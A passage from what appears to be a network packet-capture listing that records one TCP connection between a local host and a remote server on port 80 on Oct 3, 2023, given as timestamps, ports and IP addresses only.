Oct 3, 2023 09:55:09.518974066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519021034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519082069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519123077 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519149065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519206047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519244909 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519268990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519341946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519376993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519391060 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519449949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519496918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519521952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519572020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519613028 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519622087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519666910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519707918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519727945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519771099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519805908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519818068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519853115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519895077 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.519908905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.519994974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520045042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520045042 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520112991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520162106 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520198107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520267010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520303011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520307064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520339966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520380974 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520406008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520453930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520492077 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520498991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520555973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520596981 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520639896 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520677090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520718098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520751953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520765066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520800114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520843029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520900011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.520940065 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.520958900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521049976 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521092892 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.521097898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521151066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521189928 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.521224976 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521270037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521308899 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.521317005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521365881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.521405935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.524310112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.708441019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708471060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708489895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708509922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708528996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708544970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708615065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708650112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708661079 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.708734035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708749056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708772898 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.708796024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708825111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708834887 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.708897114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.708904982 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.708981991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709047079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709058046 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709095001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709166050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709173918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709203005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709240913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709274054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709307909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709346056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709387064 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709414959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709451914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709487915 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709511042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709548950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709583998 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709585905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709676027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.709786892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709896088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709933043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709969997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.709971905 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710038900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710066080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710077047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710114956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710150003 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710294008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710346937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710374117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710490942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710527897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710580111 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710597038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710633993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710669994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710670948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710743904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710758924 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710781097 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710848093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710849047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710889101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.710964918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.710978031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711014986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711080074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.711085081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711185932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711252928 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.711275101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711344957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711416960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.711461067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711498976 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711574078 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.711625099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711694002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711730957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711764097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.711815119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711884022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.711893082 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.711973906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712012053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712047100 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712102890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712177038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712177038 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712246895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712318897 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712373018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712409973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712476969 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712480068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712519884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712587118 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712588072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712629080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712694883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712697983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712804079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712879896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.712892056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.712973118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713042021 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713069916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713140965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713207006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713249922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713321924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713391066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713411093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713515043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713587046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713589907 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713625908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713692904 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713696957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713735104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713799953 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713805914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713907003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.713977098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.713994026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714032888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714101076 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714102983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714139938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714184999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714215040 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714234114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714289904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714299917 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714332104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714396000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714396954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714467049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714533091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714551926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714629889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714642048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714694023 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714705944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714766026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714793921 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714817047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714874029 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.714874983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714917898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.714973927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715009928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715022087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715085983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715096951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715152025 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715212107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715234995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715301991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715332985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715367079 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715394974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715442896 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715455055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715473890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715543985 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715550900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715564966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715617895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715625048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715688944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715728045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715760946 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715785027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715837002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715851068 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.715934992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715991974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.715995073 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716034889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716078997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716104031 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716109037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716161966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716191053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716228962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716260910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716331005 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716357946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716393948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716459036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716459990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716527939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716562033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716593027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716624975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716694117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716701031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716829062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716840982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716898918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.716923952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.716995001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717056036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.717076063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717187881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717250109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.717266083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717359066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717431068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717444897 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.717519045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717576027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717588902 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.717619896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.717669964 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717734098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.717758894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717823029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.717888117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718180895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718235970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718286991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718303919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718333006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718388081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718442917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718456984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718491077 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718549013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718564987 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718596935 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718661070 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718679905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718735933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718796015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.718823910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718903065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718961954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.718965054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.719028950 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719064951 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.719095945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719098091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.719198942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719290972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719299078 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.719656944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719670057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719741106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719810963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.719882965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720006943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720076084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720177889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720323086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720377922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.720383883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720454931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720530033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720551968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.720601082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720678091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720684052 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.720714092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720741034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.720798969 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.720809937 CEST	80	49816	91.227.16.22	192.168.2.3
